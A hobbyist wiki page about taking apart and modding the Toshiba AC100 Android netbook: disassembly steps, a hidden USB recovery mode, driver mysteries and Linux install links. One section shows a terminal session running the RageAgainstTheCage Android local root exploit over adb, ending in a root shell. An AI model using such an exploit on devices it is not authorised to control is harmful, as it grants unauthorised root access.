Inside Toshiba AC100-10D (scandinavian model)
NEWS?
http://forums.computers.toshiba-europe.com/forums/thread.jspa?messageID=218193 - root access gained and usb flash recovery mode found... cool!
http://ac100.gudinna.com/README - Ubuntu 10.10 install for Toshiba AC100
Ångstrom minimal rootfs on Toshiba AC100
Debian on ac100 install instructions (translated to english from french)
http://www.funclang.net/cruel/ - Notes that the GPL sourcecode have been released on CD. Contains a lot of hits on how to setup your own ubuntu system from scratch. - translated to english
How to get inside?
Tools of the trade.
First power the unit down and remove the battery.
Use a small "philips" screwdriver to remove all 5 screws from the backside.
3 screws are located at the (F4) markings.
Two screws are hidden beneath the two rear rubber feets at the (F6) markings.
Behind the battery you will find two small metallic screws, remove them.
It are now possible to lift up the keyboard, the keyboard easily gets stuck at the blue markings, use the guitar plectrum to set it free.
The keyboard module are then only connected by the flexible PCB that sticks into a foxcon connector, the flexible PCB are secured by two latches on the connector marked with green, pull the latches at the connectors ends towards the touchpad of the AC100 to free the PCB and fully remove the keyboard module.
Remove all screws marked red. Pull the three connectors marked blue using the black straps, they are not secured use mild force to separate them, these connector are quite stiff so it are not a problem to reinsert them by simply pushing them into place when you want to assemble the AC100 again. Now use the guitar plectrum once again to bend the case open and remove the plastic top containing the power-button, touch-pad and LEDs.
Inside!
List of components on the AC100 mainboard.
http://www.funclang.net/cruel/?p=128
http://ddevnet.net/wiki/index.php/AC100_IC_List
The Powerbutton
I got curious why the powerbutton got four wires so i dissected it a bit more more.
Pealing off some black tape revealed some numbers and circuit board traces.
To my disappointment i only found one transistor some resistors and one push button, what i was really hoping for was a hidden factory usb flashmode button similar to what are found on the Tegra 250 devkits.
It turned out that by holding down ESC+CTRL during poweron actually activates this usb flashmode. It can be used to repair a bricked ac100. When starting the ac100 in recovery mode then the screen will stay all black during power on and the power led gets lit up. You can then use the nvflash tool to manipulate the on board eMMC chip.
http://tosh-ac100.wetpaint.com/page/Backup+and+Restore
http://forums.computers.toshiba-europe.com/forums/thread.jspa?threadID=56355&start;=15&tstart;=0
http://forums.computers.toshiba-europe.com/forums/thread.jspa?threadID=56355&start;=30&tstart;=0
The powerbutton hardware can be disabled/enabled in software by sending commands to /dev/ec_odm
http://tosh-ac100.wetpaint.com/page/ec_odm
Hardware/Software mysteries to be solved
/dev/ec_odm are implemented by a proprietary Toshiba kernel driver with no available source-code how it operates. It are used to enable several hardware features of the AC100:
There is a tool in /system/bin/uoc that know how to talk to this proprietary kernel driver.
http://tosh-ac100.wetpaint.com/page/ec_odm
The system "dmesg" log reveals that a serial console have been activated on ttyS0. Where are this serial port physically located?
There are a tiny tiny connector on the mainboard without a header (JP1) http://wiki.gudinna.com/gudinna/uploads/768/11a.1.CIMG0230.JPG near the left speaker connector that might contain a serial console.
This model AC100-10D are equipped with WiFi wireless networking and Bluetooth, but as can be seen in the pictures both mini PCI-e slots are empty. ... and where is the WiFi/Bluetooth antenna cable? When checking the androids system "dmesg" log i can see that the WiFi and Bluetooth are connected to the USB bus and this means I have to disassemble the screen as well in my search for these missing wireless units.
Install Ubuntu
http://ac100.gudinna.com/
Nicely done!
Other disassembly ac100 hacking efforts
Some hints on how to setup the RageAgainstTheCage exploit
http://developer.nvidia.com/tegra/forum/toshiba-ac100dynabook
http://www.blogarm.net/linux-et-le-toshiba-ac-100-a-quoi-faut-il-sattendre/
http://ubuntu.se/showthread.php/12141-Installera-Ubuntu-p%C3%A5-Toshiba-AC100-%28Android%29
http://www.listware.net/201008/debian-arm/115285-debian-on-toshiba-ac100-tegra-250.html
http://groups.google.com/a/chromium.org/group/chromium-os-discuss/browse_thread/thread/c297281902351b2e
http://forums.debian.net/viewtopic.php?f=7&t;=55435
http://tosh-ac100.wetpaint.com/ - all about hacking the ac100
http://forums.computers.toshiba-europe.com/forums/thread.jspa?messageID=218193 - su root access gained and all other cool action happens here!
How to get root?
The Toshiba AC100 are vulnerable to the
RageAgainstTheCage exploit
made by the 743C project.
~/android-sdk-linux_x86/tools$ ./adb kill-server ; sudo ./adb start-server ; ./adb shell
$ ./rageagainstthecage-arm5.bin
[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C
[*] checking NPROC limit ...
[+] RLIMIT_NPROC={3584, 3584}
[*] Searching for adb ...
[+] Found adb as PID 18795
[*] Spawning children. Dont type anything and wait for reset!
[*]
[*] If you like what we are doing you can send us PayPal money to
[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.
[*] If you are a company and feel like you profit from our work,
[*] we also accept donations > 1000 USD!
[*]
[*] adb connection will be reset. restart adb server on desktop and re-login.
~/android-sdk-linux_x86/tools$ ./adb kill-server ; sudo ./adb start-server ; ./adb shell
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
#
# busybox mount -o remount,rw /system
# busybox whoami
whoami: unknown uid 0
http://c-skills.blogspot.com/2010/08/please-hold-line.html
Sources to the RageAgainstTheCage exploit
made by the 743C project.
Thanks!
http://tosh-ac100.wetpaint.com/page/Rooting - more detailed how to get root on the ac100 instructions.
Chat with Toshiba AC100 hackers
/join #ac100 on irc.freenode.net!
untested stuff
http://freevec.org/repository/images/ -debian hardfoat port preinstalled root filesystem.
Referenser till aktuell sida